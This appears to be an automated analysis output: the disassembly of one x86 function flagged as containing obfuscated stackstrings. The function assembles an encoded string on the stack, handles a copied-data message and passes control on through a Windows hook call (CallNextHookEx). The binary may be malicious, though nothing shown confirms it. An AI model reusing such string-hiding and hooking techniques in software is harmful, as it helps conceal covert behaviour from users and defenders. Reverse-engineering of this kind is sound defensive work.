Function at 0x1201d4a7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xd04
mov eax, 0x1204d0c5
call fcn.1201e8e5
mov edi, dword [ebp + 0x10]
lea eax, [ebp - 0xc7c]
push 0xc2a
xor ebx, ebx
push ebx
push eax
call fcn.12021160
add esp, 0xc
mov dword [ebp - 0xc80], ebx
call fcn.12012e7c
push eax
lea ecx, [ebp - 0xc80]
call fcn.1200fe29
mov dword [ebp - 4], ebx
mov byte [ebp - 4], 1
test edi, edi
je 0x1201d7bf
cmp dword [edi + 8], 0x4a
jne 0x1201d7bf
mov esi, dword [edi]
test esi, esi
je 0x1201d7bf
mov eax, dword [esi]
cmp eax, 0x4cc7c
jne 0x1201d7b1
mov esi, dword [esi + 8]
lea edi, [ebp - 0xc7c]
push 0x64
pop eax
mov byte [ebp - 0xcd5], al
mov ecx, 0x30a
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0xcc6], al
mov byte [ebp - 0xcbc], al
lea eax, [ebp - 0xb53]
push eax
lea eax, [ebp - 0xc7c]
mov byte [ebp - 0xc84], bl
push eax
lea eax, [ebp - 0xc57]
movsw word es:[edi], word [esi]
push eax
push ebx
sub esp, 0xc
mov dword [ebp - 0xd00], 0x3863534b
mov ecx, esp
mov dword [ebp - 0xcfc], 0x32594746
lea eax, [ebp - 0xc84]
mov dword [ebp - 0xcf8], 0x6d636e45
mov dword [ebp - 0xcf4], 0x6e634846
push dword [ebp - 0xc84]
mov dword [ebp - 0xcf0], 0x666f794c
push eax
mov dword [ebp - 0xcec], 0x47497846
lea eax, [ebp - 0xd00]
mov dword [ebp - 0xce8], 0x42556e4c
mov dword [ebp - 0xce4], 0x6c347944
mov dword [ebp - 0xce0], 0x79555143
mov dword [ebp - 0xcdc], 0x4e386d44
mov word [ebp - 0xcd8], 0x784f
mov byte [ebp - 0xcd6], 0x45
mov dword [ebp - 0xcd4], 0x32517749
mov dword [ebp - 0xcd0], 0x41677a4f
mov dword [ebp - 0xccc], 0x37633250
mov word [ebp - 0xcc8], 0x6748
mov dword [ebp - 0xcc5], 0x7777462f
mov dword [ebp - 0xcc1], 0x45424e6d
mov byte [ebp - 0xcbd], 0x61
mov dword [ebp - 0xcbb], 0x4e387447
mov dword [ebp - 0xcb7], 0x4e485541
mov dword [ebp - 0xcb3], 0x656a6853
mov dword [ebp - 0xcaf], 0x48756f43
mov dword [ebp - 0xcab], 0x42636378
mov dword [ebp - 0xca7], 0x634b416d
mov dword [ebp - 0xca3], 0x48654d68
mov dword [ebp - 0xc9f], 0x41435177
mov dword [ebp - 0xc9b], 0x44664177
mov dword [ebp - 0xc97], 0x48664d68
mov dword [ebp - 0xc93], 0x4d463852
mov dword [ebp - 0xc8f], 0x4635306e
mov dword [ebp - 0xc8b], 0x41416743
mov word [ebp - 0xc87], 0x4241
mov byte [ebp - 0xc85], 0x4e
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.1200f5c3
lea eax, [ebp - 0xd10]
push eax
call fcn.120124c2
add esp, 0x10
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.1201c0fc
push eax
lea eax, [ebp - 0xc80]
push eax
call fcn.1201296b
add esp, 0x14
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xd10]
call fcn.1201bf42
push 0x3c
push ebx
lea eax, [ebp - 0x50]
push eax
call fcn.12021160
pop ecx
pop ecx
lea eax, [ebp - 0xc7c]
mov ecx, esp
push eax
call fcn.1200ffa2
lea ecx, [ebp - 0x50]
call fcn.12010071
lea eax, [ebp - 0xb53]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x20]
call fcn.12010f30
lea eax, [ebp - 0x17b]
push eax
lea ecx, [ebp - 0x1c]
call fcn.12010f30
lea eax, [ebp - 0x77]
push eax
lea ecx, [ebp - 0x18]
call fcn.12010f30
mov esi, dword [ebp - 0xc80]
lea eax, [ebp - 0x50]
push eax
push ecx
mov ecx, esp
mov dword [ebp - 0xc84], esp
push esi
call fcn.1200ffa2
push ecx
lea eax, [ebp - 0x94b]
mov byte [ebp - 4], 4
mov ecx, esp
push eax
call fcn.1200ff14
mov byte [ebp - 4], 3
call fcn.120180fe
add esp, 0xc
call fcn.12028efa
push 0x64
pop ecx
cdq
idiv ecx
cmp edx, ecx
jg 0x1201d7a4
lea eax, [ebp - 0x50]
push eax
call fcn.120169c0
pop ecx
lea ecx, [ebp - 0x50]
call fcn.12010bba
lea ecx, [esi - 0x10]
jmp 0x1201d7d6
cmp eax, 0x4d835
jne 0x1201d7bf
push ebx
call fcn.1201a8b2
pop ecx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [sym.imp.USER32.dll_CallNextHookEx]
mov ecx, dword [ebp - 0xc80]
lea ecx, [ecx - 0x10]
call fcn.1201669e
call fcn.1201e832
ret 0xc